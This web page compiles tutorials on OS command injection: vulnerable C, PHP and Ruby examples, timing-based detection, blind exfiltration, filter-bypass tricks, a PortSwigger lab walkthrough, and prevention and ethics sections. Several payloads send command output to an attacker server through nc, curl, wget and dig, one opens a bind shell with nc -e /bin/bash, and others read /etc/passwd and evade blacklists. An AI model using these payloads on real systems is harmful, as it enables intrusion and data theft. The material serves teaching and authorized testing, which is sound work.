top of page

$   ./a.out exploit.txt
my name is Rachit Yadav

Command injection is basically injection of operating system commands to be executed through a web-app. The purpose of the command injection attack is to inject and execute commands specified by the attacker in the vulnerable application. In situation like this, the application, which executes unwanted system commands, is like a pseudo system shell, and the attacker may use it as an authorized system user. However, commands are executed with the same privileges and environment as the web application has. Command injection attacks are possible due to lack of correct input data validation, which can be manipulated by the attacker (forms, cookies, HTTP headers etc.).

There is a variant of the Code Injection attack. In code injection, the attacker adds his own code to the existing code. Injected code is executed with the same privileges and environment as the application has.

An OS command injection attack occurs when an attacker attempts to execute system level commands through a vulnerable application. Applications are considered vulnerable to the OS command injection attack if they utilize user input in a system level command.

Example:

 

 

 

// C program to demonstrate Command Injection attack

// The purpose of the program to print contents of a

// file provided as command line argument.

#include <stdio.h>

#include <unistd.h>

  

int main(int argc, char **argv)

{

    char cat[] = "cat ";

    char *command;

    size_t commandLength;

  

    commandLength = strlen(cat) + strlen(argv[1]) + 1;

    command = (char *) malloc(commandLength);

    strncpy(command, cat, commandLength);

    strncat(command, argv[1], (commandLength - strlen(cat)) );

  

    system(command);

    return (0);

}

Used normally, the output is simply the contents of the file requested:

However, if we add a semicolon and another command to the end of this line, the command is executed by catWrapper with no complaint:

$ ./a.out "exploit.txt; ls" my name is Rachit Yadav

exploit.txt                                            doubFree.c                         nullpointer.c              

unstosig.c                                          www*                                   a.out*

format.c                                             strlen.c                                useFree*

format.c                                            misnull.c                               strlength.c              useFree.c

commandinjection.c                         nodefault.c                           trunc.c

writeWhatWhere.c

The following PHP code snippet is vulnerable to a command injection attack(web app):




<?php

print("Please specify the name of the file to delete");

print("<p>");

$file=$_GET['filename'];

system("rm $file");

?>

The following request and response is an example of a successful attack:

Response
Please specify the name of the file to delete
uid=33(www-data) gid=33(www-data) groups=33(www-data)

A command injection is a class of vulnerabilities where the attacker can control one or multiple commands that are being executed on a system. This post will go over the impact, how to test for it, defeating mitigations, and caveats.

Before diving into command injections, let’s get something out of the way: a command injection is not the same as a remote code execution (RCE). The difference is that with an RCE, actual programming code is executed, whereas with a command injection, it’s an (OS) command being executed. In terms of possible impact, this is a minor difference, but the key difference is in how you find and exploit them.

Setting up

Let’s start by writing two simple Ruby scripts that you can run locally to learn finding and exploiting command injection vulnerabilities. I used Ruby 2.3.3p222. Below is ping.rb.

puts `ping -c 4 #{ARGV[0]}`

This script will ping the server that’s being passed to the script as argument. It will then return the command output on the screen. Example output below.

$ ruby ping.rb '8.8.8.8'

PING 8.8.8.8 (8.8.8.8): 56 data bytes

64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=23.653 ms

64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=9.111 ms

64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=8.571 ms

64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=20.565 ms

--- 8.8.8.8 ping statistics ---

4 packets transmitted, 4 packets received, 0.0% packet loss

round-trip min/avg/max/stddev = 8.571/15.475/23.653/6.726 ms

As you can see, it executed ping -c 4 8.8.8.8 and displayed the output on the screen. Here’s another script that will be used in the blog post: server-online.rb.

puts `ping -c 4 #{ARGV[0]}`.include?('bytes from') ? 'yes' : 'no'

This script will determine whether the server is online based on an ICMP response (ping). If it responds to the ping request, it’ll display yes on the screen. In case it doesn’t, it’ll display no. The output of the command isn’t returned to the user. Example output below.

$ ruby server-on.rb '8.8.8.8'

yes

$ ruby server-on.rb '8.8.8.7'

no

Testing

One of the best ways to detect a first-order command injection vulnerability is trying to execute a sleep command and determine if the execution time increases. To start with this, let’s establish a time baseline for the ping.rb script:

$ time ruby ping.rb '8.8.8.8'

PING 8.8.8.8 (8.8.8.8): 56 data bytes

...

0.09s user 0.04s system 4% cpu 3.176 total

Notice that executing script takes about 3 seconds. Now let’s determine if the script is vulnerable to a command injection by injecting a sleep command.

$ time ruby ping.rb '8.8.8.8 && sleep 5'

PING 8.8.8.8 (8.8.8.8): 56 data bytes

...

0.10s user 0.04s system 1% cpu 8.182 total

The script will now execute the command ping -c 4 8.8.8.8 && sleep 5. Notice the execution time again: it jumped from ~3 seconds to ~8 seconds, which is an increase of exactly 5 seconds. There can still be unexpected delays on the internet, so it’s important to repeat the injection and play with the amount of seconds to make sure it’s not a false positive.

Let’s determine whether the server-online.rb script is vulnerable, too.

$ time ruby server-online.rb '8.8.8.8'

yes

0.10s user 0.04s system 4% cpu 3.174 total

$ time ruby server-online.rb '8.8.8.8 && sleep 5'

yes

0.10s user 0.04s system 1% cpu 8.203 total

Again, the baseline shows executing a normal request takes about 3 seconds. Adding && sleep 5 to the command increases the time to 8 seconds.

Depending on the command being executed, the sleep command may be injected differently. Here are a few payloads that you can try when looking for command injections (they all work):

time ruby ping.rb '8.8.8.8`sleep 5`'

When a command line gets parsed, everything between backticks is executed first. Executing echo `ls` will first execute ls and capture its output. It’ll then pass the output to echo, which displays the output of ls on the screen. This is called command substitution. Since execution of the command between backticks takes precedence, it doesn’t matter if the command executed afterwards fails. Below is a table of commands with injected payloads and its result. The injected payload is marked in green.

Command

Result

ping -c 4 8.8.8.8`sleep 5`

sleep command executed, command substitution works in command line.

ping -c 4 "8.8.8.8`sleep 5`"

sleep command executed, command substitution works in complex strings (between double quotes).

ping -c 4 $(echo 8.8.8.8`sleep 5`)

sleep command executed, command substitution works in command substitution when using a different notation (see example below).

ping -c 4 '8.8.8.8`sleep 5`'

sleep command not executed, command substitution does not work in simple strings (between single quotes).

ping -c 4 `echo 8.8.8.8`sleep 5``

sleep command not executed, command substitution does not work when using the same notation.


time ruby ping.rb '8.8.8.8$(sleep 5)'
This is a different notation for command substitution. This may be useful when backticks are filtered or encoded. When using command substitution to look for command injections, make sure to test both notations to avoid true-negatives in case the payload is already being substituted (see last example in table above).

time ruby ping.rb '8.8.8.8; sleep 5'

Commands are executed in a sequence (left to right) and they can be separated with semicolons. When a command in the sequence fails it won’t stop executing the other commands. Below is a table of commands with injected payloads and its result. The injected payload is marked in green.

Command

Result

ping -c 4 8.8.8.8;sleep 5

sleep command executed, sequencing commands works when used on the command line.

ping -c 4 "8.8.8.8;sleep 5"

sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command.

ping -c 4 $(echo 8.8.8.8;sleep 5)

sleep command executed, sequencing commands works in command substitution.

ping -c 4 '8.8.8.8;sleep 5'

sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command.

ping -c 4 `echo 8.8.8.8;sleep 5`

sleep command executed, sequencing commands works in command substitution.


time ruby ping.rb '8.8.8.8 | sleep 5'
Command output can be piped, in sequence, to another commands. When executing cat /etc/passwd | grep root, it’ll capture the output of the cat /etc/passwd command and pass it to grep root, which will then show the lines that match root. When the first command fail, it’ll still execute the second command. Below is a table of commands with injected payloads and its result. The injected payload is marked in green.

Command

Result

ping -c 4 8.8.8.8 | sleep 5

sleep command executed, piping output works when used on the command line.

ping -c 4 "8.8.8.8 | sleep 5"

sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command.

ping -c 4 $(echo 8.8.8.8 | sleep 5)

sleep command executed, piping output works in command substitution.

ping -c 4 '8.8.8.8 | sleep 5'

sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command.

ping -c 4 `echo 8.8.8.8 | sleep 5`

sleep command executed, piping output works in command substitution.


Exploiting

To exploit the vulnerability for evidence is to determine whether it’s a generic or blind command injection. The difference between the two, is that a blind command injection doesn’t return the output of the command in the response. A generic command injection would return the output of the executes command(s) in the response. The sleep command is often a good proof of concept for either flavor. However, if you need more proof, execute id, hostname, or whoami and use the output as additional proof. The server’s hostname is useful to determine how many servers are affected and help the vendor to get a sense of impact faster.

Important: needless to say, most companies don’t appreciate you snooping around on their systems. Before exploiting the vulnerability to pivot into something else, ask permission to the company. In nearly all situations proving that executing arbitrary but harmless commands like sleep, id, hostname or whoami is enough to proof impact to the affected company.

Exploiting generic command injection

This is usually pretty straightforward: the output of any injected command will be returned to the user:

$ ruby ping.rb '8.8.8.8 && whoami'

PING 8.8.8.8 (8.8.8.8): 56 data bytes

64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.008 ms

64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=8.572 ms

64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=9.309 ms

64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=9.005 ms

--- 8.8.8.8 ping statistics ---

4 packets transmitted, 4 packets received, 0.0% packet loss

round-trip min/avg/max/stddev = 8.572/8.973/9.309/0.263 ms

jobert

The red part shows the output of the ping command. The green text the output of the whoami command. From this point, you can gather evidence for your proof of concept. Again, stick to harmless commands. 

Exploiting blind command injection

With blind command injections the output isn’t returned to the user, so we should find other ways to extract the output. The most straightforward technique is to offload the output to your server. To simulate this, run nc -l -n -vv -p 80 -k on your server and allow inbound connections on port 80 in your firewall.

Once you’ve set up the listener, use nc, curl, wget, telnet, or any other tool that sends data to the internet, to send the output to your server:

$ ruby server-online.rb '8.8.8.8 && hostname | nc IP 80'

yes

Then observe a connection being made to your server that shows the output of the hostname command:

$ nc -l -n -vv -p 80 -k

Listening on [0.0.0.0] (family 0, port 81)

Connection from [1.2.3.4] port 80 [tcp/*] accepted (family 2, sport 64225)

hacker.local

In the example above, nc is used to send the output of the command to your server. However, nc might be deleted or unable to execute. To avoid going down a rabbit hole, there are a few simple payloads to determine if a command exists. In case any of the commands increase the time with 5 seconds, you know the command exists.

  • curl -h && sleep 5

  • wget -h && sleep 5

  • ssh -V && sleep 5

  • telnet && sleep 5

When you’ve determined a command exists, you can use any of those commands to send the output of a command to your server, like this:

  • whoami | curl http://your-server -d @-

  • wget http://your-server/$(whoami)

  • export C=whoami | ssh user@your-server (setup the user account on your-server to authenticate without a password and log every command being executed)

Even though the server-online.rb script doesn’t output the result of the hostname command, the output can be sent to a remote server and obtained by an attacker. In some cases, outbound TCP and UDP connections are blocked. It’s still possible to extract the output in that case, we just have to do a little bit more work.

In order to extract the output, we have to guess the output based on something that we can change. In this case, the execution time can be increased using the sleep command. This can be used to extract the output. The trick here is to pass the result of a command to the sleep command. Here’s an example: sleep $(hostname | cut -c 1 | tr a 5). Let’s analyze this for a moment.

  1. It’s executing the hostname command. Let’s assume it returns hacker.local.

  2. It’ll take that output and pass it to cut -c 1. This will take the first character of hacker.local, which is the character h.

  3. It passes it to tr a 5, which will replace the character a with a 5 in the output of the cut command (h).

  4. The output of the tr command is then passed to the sleep command, resulting in sleep h being executed. This will immediately error, since sleep can only take a number as first argument. The goal is then to iterate over the characters with the tr command. Once you execute sleep $(hostname | cut -c 1 | tr h 5), the command will take 5 seconds longer to execute. This is how you determine that the first character is an h.

  5. Once you guessed a character, increase the number you pass to the cut -c command, and repeat.


Here’s a table with the commands to determine the output:

Command

Time

Result

ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 1 | tr a 5)'

3s

-

ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 1 | tr h 5)'

8s

h

ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 2 | tr a 5)'

8s

a

ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 3 | tr a 5)'

3s

-

ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 3 | tr c 5)'

8s

c


To determine how many characters you need to guess: pipe the output of hostname to wc -c and pass that to the sleep command. hacker.local is 12 characters. The hostname command returns the hostname and a new line, so wc -c will return 13. We established that normally, the script takes 3 seconds to complete.

$ time ruby server-online.rb '8.8.8.8 && sleep $(hostname | wc -c)'

yes

0.10s user 0.04s system 0% cpu 16.188 total

The payload above shows that the script now takes 16 seconds to complete, which means the output of hostname is 12 characters: 16 - 3 (baseline) - 1 (new line) = 12 characters. When executing this payload on a web server, know that the output may change: the length of the hostname could change when requests are handled by different servers.

The technique above works fine for smaller outputs, but can take a long time for reading a file. Some of the following methods can be pretty intrusive, so always make sure the company gave you a thumbs up to use more invasive extraction methods. In case outbound connections are blocked and the output is too long to read, here are a few other tricks to try (useful during CTFs):

  • Run a port scan on the server and based on the exposed services, determine a way to extract the output.

    • FTP: try writing the file to a directory you can download files from.

    • SSH: try writing the output of the command to the MOTD banner, then simply SSH to the server.

    • Web: try writing the output of the command to a file in a public directory (/var/www/).

  • Spawn a shell on a port that can be reached from the outside (only available in custom netcat build): nc -l -n -vv -p 80 -e /bin/bash (unix) or nc -l -n -vv -p 80 -e cmd.exe (windows).

  • Do a DNS query with dig or nslookup to send the output to port 53 (UDP): dig `hostname` @your-server or nslookup `hostname` your-server. Output can be captured with nc -l -n -vv -p 53 -u -k on your server. This may work because outbound DNS traffic is often allowed. Check out this tweet how to offload file contents with dig.

  • Change the ICMP packet size when pinging your server to offload data. tcpdump can be used to capture the data. Check out this tweet how to do this.


There’s plenty of other ways, but it often depends on what kind of options the servers gives you. The technique shown above are most common when exploiting command injection vulnerabilities. The key is to use what you have to extract the output!

Defeating mitigations

Sometimes mitigations have been put in place, which may cause the above techniques not to work. One of the mitigations that I’ve seen over the years, is a restriction on whitespace in the payload. Luckily, there’s something called Brace Expansion that can be used to create payloads without whitespace. Below is ping-2.rb, which is the second version of ping.rb. Before passing the user input to the command, it removes whitespace from the input.

puts `ping -c 4 #{ARGV[0].gsub(/\s+?/,'')}`

When passing 8.8.8.8 && sleep 5 as argument, it’d execute ping -c 4 8.8.8.8&&sleep5, which will result in an error showing that the command sleep5 isn’t found. There’s an easy workaround by using brace expansion:

$ time ruby ping-2.rb '8.8.8.8;{sleep,5}'

...

0.10s user 0.04s system 1% cpu 8.182 total

Here’s a payload that sends the output of a command to an external server without using whitespace:

$ ruby ping.rb '8.8.8.8;hostname|{nc,192.241.233.143,81}'

PING 8.8.8.8 (8.8.8.8): 56 data bytes

...

Or to read /etc/passwd:

$ ruby ping.rb '8.8.8.8;{cat,/etc/passwd}'

PING 8.8.8.8 (8.8.8.8): 56 data bytes

64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.215 ms

64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=10.194 ms

64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=10.171 ms

64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=8.615 ms

--- 8.8.8.8 ping statistics ---

4 packets transmitted, 4 packets received, 0.0% packet loss

round-trip min/avg/max/stddev = 8.615/9.549/10.194/0.668 ms

##

# User Database

#

# Note that this file is consulted directly only when the system is running

# in single-user mode. At other times this information is provided by

# Open Directory.

...


Whenever a command is being executed with user input mitigations have to be put in place by the developer. Developers take different routes to implement mitigations, so it’s up to you to discover what they did and how to work around them.

Happy hacking!

Hack Intel



How Command Injection Works

  • An attacker should first identify the point of injection to allow them to insert the malicious payload into the command.

  • By attempting to append the command through various injection methods to see if the command output changed from the usual result. If it changes, the vulnerability is exploited successfully. This may not be true for more advanced OS command injection vulnerabilities which need the utilization of fuzzing or code review (if possible) to identify potential command injection vulnerabilities, and then gradually build the payload until the command injection is successful.

  • Then the attacker would execute arbitrary commands to collect the data needed to pivot into other systems of the vulnerable application server or steal information/data directly from the injection point.


Identifying and executing arbitrary commands

The below PHP application code shows the output of the ping command in the web application:


The application is using the shell_exec (PHP function) which executes the ping command via shell and returns the complete output as a string.

The user needs to input their IP address and the web application sends ICMP pings to the address provided and then displays the output of the ping command.

The IP address is passed using the HTTP “GET” method and then used in the command line.

The developer of the application does not perform any input validation.




See Also: So you want to be a hacker?
Complete Offensive Security and Ethical Hacking Course

Normal flow of the application’s GET request

The normal flow of the application using the GET request and the URL looks like the following:

http://vulnerableapp.com/ping.php?address=8.8.8.8

The PHP function (shell_exec) executes the following OS command: ping -n 1 <IP_address>, and displays the command output.


Manipulating the GET request

The attacker can then manipulate the GET request (using a web proxy that can intercept HTTP requests e.g. Burp,  to bypass any FE validation), and add extra parameters using command operators, in this case, the &&.

Attacker’s manipulated URL looks like:

http://example.com/ping.php?address=8.8.8.8&&dir

Or

Encoding the command operator using URL-encoded format to bypass filters:

http://example.com/ping.php?address=8.8.8.8%26%26dir

As a result, the vulnerable application executes the additional command (dir) and displays the command output, which in this case is a directory listing.


Trending: Recon Tool: BF ActiveSub




Command Injection Operators – Cheatsheet

There are many operators to inject an arbitrary command. The most used for Linux is the semicolon (;), and for Windows, the ampersand (&).

The following cheats-sheet shows some of the most used operators’ names, characters, their URL-encoded characters, and what commands will be executed.


For Windows and Unix-based systems:

Injection OperatorInjection CharacterURL-Encoded CharacterExecuted Command

Ampersand&%26Both (second output generally shown first)

AND&&%26%26Both (only if first succeeds)

Pipe|%7cBoth (only second output is shown)

OR||%7c%7cSecond (only if first fails)

New Line\n%0aBoth

Semicolon;%3bBoth


As you can see, there are various operators to choose from for any scenario. There are more than the provided ones but those could be considered the most wildly known and used.


Bypassing filtered characters and commands

Even if software developers attempt to secure a web application against injections, it may still be exploitable if it’s not properly coded. The developer may utilize a mitigation for injection vulnerabilities and add blacklisted characters and words on the back-end to detect injection attempts and deny the request.

A PHP code example using mitigation injected commands, blacklisting characters in order to deny any request that may contain them.




Bypassing Blacklisted Spaces

Space is a commonly blacklisted character, especially if the input should not contain any spaces. However, there are ways to add a space character without actually using the space character.

{IFS}

One way to bypass blacklisted spaces is using the Linux Environment Variable {IFS}, which its default value is a space and a tab.

Taking into consideration our previous example a space could be added after the command:

http://example.com/ping.php?address=8.8.8.8&&cd{IFS}<name_of_directory>



Tabs

Another way is using tabs instead of spaces, which is a technique that may work as both Linux and Windows accept commands with tabs between arguments. The tab character is %09.

Using the previous example we can replace {IFS} with the tab character:

http://example.com/ping.php?address=8.8.8.8&&cd%09<name_of_directory>


Bypass blacklisted characters

Upon finding the vulnerable injection point, to build the injection command and find what is a filter or not, it needs to be gradual in order to understand what is filtered and what is not.

Depending on the web application, bypassing the filtering of the operators could be considered by just adding the encoded operators (& -> %26) instead of their injection character. Trying every possible operator could lead to successfully injecting a command. Another option is to use the new-line(\n) operator which is usually not blacklisted since it may be needed in the payload itself.

Besides injection operators, a commonly blacklisted character is the slash(/) and backslash(\), as they are necessary for specifying directories in Windows and Linux.


Linux

Among many techniques to utilize slashes in a payload, one technique is to replace characters through Linux Environment Variables. Linux Environment Variables are a set of dynamic named values, stored within the system that is used by applications launched in shells or subshells.

The printenv command prints all the environment variables in Linux:


For replacing the slash character we can use the PATH environment variable in Linux.


By adding: 0:1 we indicate to start at the character 0 and take a string of length 1.
This will produce the slash(/):

${PATH:0:1}

We can confirm it by running it with the echo command.


We can also use the LS_COLORS variable to replace the semicolon(;) operator:


Trending: OSINT Tool: Blackbird


Windows

The same concept applies to Windows. Using the cmd, we can use the Windows variable %HOMEPATH% to produce the backslash(\) character.

echo %HOMEPATH%\Users\<name_of_user>

To produce the \ character we should first specify the starting position (~ 6, which is 6 characters after the first \, => \Users), and depending on the user name length, we should specify a negative end position, in this case, is -5.

So the character inserted in the payload should be:

%HOMEPATH:~6,-5%


Bypassing Blacklisted Commands

There are some different methods when it comes to bypassing blacklisted commands. A commands blacklist is usually a list of words that are filtered out of the user input.

A command blacklist filter in PHP:



This is a basic blacklist for commands, that looks for an exact match of the provided commands.


Bypassing blacklisted commands on Linux and Windows


  • Using an obfuscation technique by inserting single(‘) or double quotes (“).

The simple and easy way that works on both Linux and Windows servers is using single quotes to obfuscate a command. To obfuscate a command using quotes is simple, just add single quotes between the command’s characters:

g're'p


The important thing to remember is that you cannot mix single or double quotes, and the number of quotes must be even.

  • Using Case manipulation

Another command obfuscation technique is case manipulation, which includes inverting the character cases of a command (dir ➡ DIR) or alternating between cases(dir ➡ DIR), this works only on Windows since the commands are case-insensitive and not on Linux because the commands are case-sensitive.

On Linux, we can use the tr command which is a command line utility on UNIX for translating or deleting characters.

tr "[A-Z]" "[a-z]"<<<"GreP"

This command uses tr to replace all uppercase characters with lower-case characters, which results in an all lower-case command.

Since the command contains spaces we can utilize the technique shown before for bypassing filters for blacklisted spaces, which results in the command below:

tr{IFS}"[A-Z]"{IFS}"[a-z]"<<<"GreP"



Linux Only

Another way to bypass filtered commands for Linux is using backlash (\) or the positional parameter character $@. This works like the technique with the quotes, but the number of characters does not have to be even.

g\r\e\p

gre$@p


Windows Only

This way is the same as the Linux-only characters used to bypass filtered commands, but with the caret character (^).

whoam^i


OS command Injection example lab

Solving Portswigger’s Lab: OS command injection, simple case.

  • This lab contains an OS command injection vulnerability in the product stock checker.

  • The application executes a shell command containing user-supplied input and returns the response of the command’s raw output.

  • The goal is to execute the whoami command

Access the lab.


Since we know that the injection vulnerability lies on the product stock checker, we should then navigate to a product and intercept the POST request (the one that checks the availability of the stock).


POST Request in Burp:


The POST request contains two parameters, productid, and storeID.

Let’s try and inject an operator (ampersand, &) with an ls command at the end of the payload.


We can see that the only output is the available stock in number.

Now let’s try using a different operator (pipe, |).


The pipe (|) operator worked (semicolon also works (;), but the job can be done also with pipe) and we can now see the output of our injected command which is the stockreport.sh (the second output is only shown due to the operator used, check the cheat-sheet above).

We can then move on and play around before executing the whoami command by using cat to check the content of the script. If the script was on a real web application, just by using cat you could be able to steal data like APIs, tokens, etc., that could be in use in the script, thus making this vulnerability even worse.


Then execute the whoami command:


The user is peter-LNs5BY in our example, successfully completing the lab.

After you perform the request with the whoami command, the page updates to:


That was an easy lab without any BE, FE validation for the user input or WAF, but you get the point when it comes to injecting the commands or how to think upon finding the injection point.





Prevention

Prevention of OS command can be a whole write-up by itself but some general guidelines could be:

  • Avoid using functions that execute system commands, and instead, use built-in functions that perform the required functionality as most languages have a secure implementation of these functionalities.


  • Then you should still use input validation for built-in functions or system command execution functions. Input validation is required because ensures that the input meets the expected format. Input validation should be done both, at the front-end and the back-end.


  • Last but more important is input sanitization, which removes unnecessary special characters from the user input. Most languages have built-in functions for removing any special characters from the user input.



Only a primer

Since Injections ranked 3rd on the OWASP Top Ten most critical web application security risks in 2021, it should be of very high importance for every developer to mitigate the risks involving OS command injection vulnerabilities, and for a security researcher to expand their knowledge on the matter.

As many web applications have millions of lines of code, any single mistake may introduce a vulnerability, by implementing secure coding best practices and then thorough penetration testing we can be assured that the risks of such vulnerabilities are mitigated to the minimum.


Command injection is a type of security vulnerability that occurs when an attacker is able to execute arbitrary commands on a host operating system via a vulnerable application. Understanding the advantages and disadvantages of command injection can be crucial for both attackers (to understand its utility) and defenders (to mitigate the risks). Here's a breakdown:

Advantages of Command Injection

  1. High Impact:

    • System Control: Successful exploitation can give attackers control over the target system, potentially allowing them to access sensitive data, modify system settings, and install malicious software.

    • Wide Scope: Since the attacker can execute arbitrary commands, the range of potential damage is extensive, including data theft, data destruction, and further network penetration.

  2. Versatility:

    • Cross-Platform: Command injection can affect various operating systems (Windows, Linux, macOS) as long as they accept and execute system commands.

    • Exploitation of Various Services: It can be used against different types of services and applications, such as web applications, network services, and even IoT devices.

  3. Stealth:

    • Minimal Footprint: Command injection can be difficult to detect if the commands are carefully crafted to avoid raising alarms, especially if they blend in with normal system operations.

    • Direct Execution: Commands are executed directly on the system, often without requiring the attacker to upload any additional files, making the attack less detectable by traditional security mechanisms.

Disadvantages of Command Injection

  1. Detection and Mitigation:

    • Logging and Monitoring: Many systems have extensive logging and monitoring mechanisms that can detect unusual command execution patterns, potentially leading to rapid identification and response.

    • Input Sanitization: Modern secure coding practices and frameworks increasingly incorporate robust input validation and sanitization, making it harder to find vulnerable systems.

  2. Limited by System Permissions:

    • Privilege Levels: The effectiveness of command injection can be limited by the privileges of the compromised application. If the application runs with limited permissions, the impact of the attack may be constrained.

    • Sandboxing and Security Controls: Systems often employ measures like sandboxing, SELinux, AppArmor, and other mandatory access controls that can limit the damage an injected command can do.

  3. Complexity and Environment Specificity:

    • Environment Dependency: The success of command injection depends on specific environmental factors, such as the operating system, available commands, and system configuration.

    • Complex Exploitation: Crafting effective payloads for command injection can be complex, requiring detailed knowledge of the target system and careful construction to avoid detection and ensure functionality.

  4. Potential for Failure:

    • Application Behavior: If the injected commands alter the application's behavior in unexpected ways, it can crash or behave anomalously, potentially alerting administrators to the attack.

    • Error Handling: Some systems may have robust error handling that can detect and nullify command injection attempts, leading to unsuccessful exploitation.

Mitigation Strategies

To mitigate the risks associated with command injection, organizations should adopt several best practices:

  • Input Validation and Sanitization: Validate and sanitize all user inputs to ensure they do not contain executable commands.

  • Principle of Least Privilege: Run applications with the minimum necessary privileges to limit the impact of a potential injection.

  • Use of Safe APIs: Prefer using APIs that do not involve command execution, such as parameterized queries or built-in library functions.

  • Regular Audits and Penetration Testing: Conduct regular security audits and penetration testing to identify and fix vulnerabilities before they can be exploited.

  • Security Patching: Keep systems and software up to date with the latest security patches to address known vulnerabilities.

Understanding the advantages and disadvantages of command injection helps in creating a balanced approach to both exploiting and defending against this type of attack.



Who Can Perform Command Injection in Ethical Hacking?

  1. Ethical Hackers (White Hat Hackers):

    • Role: Ethical hackers are hired by organizations to test their systems and networks for security vulnerabilities. They are authorized to conduct penetration testing to identify weaknesses before malicious hackers can exploit them.

    • Skills: They possess deep technical knowledge of operating systems, networking, and security protocols. They are adept at using various tools and techniques to discover and exploit vulnerabilities, including command injection.

  2. Penetration Testers:

    • Role: Penetration testers (pen testers) are professionals who simulate cyberattacks against an organization’s IT infrastructure. Their goal is to uncover vulnerabilities that could be exploited by attackers.

    • Skills: Pen testers use a variety of methods, including manual testing and automated tools, to find and exploit security weaknesses. They must understand the specific commands and system configurations of the target environment to effectively use command injection techniques.

  3. Security Researchers:

    • Role: Security researchers study and analyze security mechanisms to find new vulnerabilities and improve security practices. They often disclose their findings to the public or the affected organizations to promote better security.

    • Skills: These individuals need to stay updated with the latest security threats and mitigation techniques. They conduct detailed research into software and system behaviors to uncover previously unknown vulnerabilities, including command injection flaws.

Purpose of Command Injection in Ethical Hacking

  • Identify Vulnerabilities: Ethical hackers use command injection to identify security weaknesses in an application’s input handling mechanisms. This helps organizations understand where they are vulnerable.

  • Test Security Controls: By performing command injection, ethical hackers can test the effectiveness of an organization’s security controls, such as input validation and sanitization mechanisms.

  • Improve Security Posture: The findings from command injection testing allow organizations to strengthen their security measures, patch vulnerabilities, and implement best practices to prevent future attacks.

  • Compliance and Regulation: Many industries have regulatory requirements for security testing. Ethical hackers ensure that organizations meet these standards by identifying and helping to mitigate potential security risks.

Ethical Considerations

  • Authorization: Ethical hackers must have explicit permission from the organization to conduct testing. Unauthorized command injection is illegal and considered malicious hacking.

  • Responsible Disclosure: When vulnerabilities are found, ethical hackers follow a responsible disclosure process, informing the organization and allowing them time to fix the issues before making any details public.

By conducting command injection in an ethical and controlled manner, these professionals help organizations secure their systems against potential threats, thereby contributing to the overall security of the digital ecosystem.

bottom of page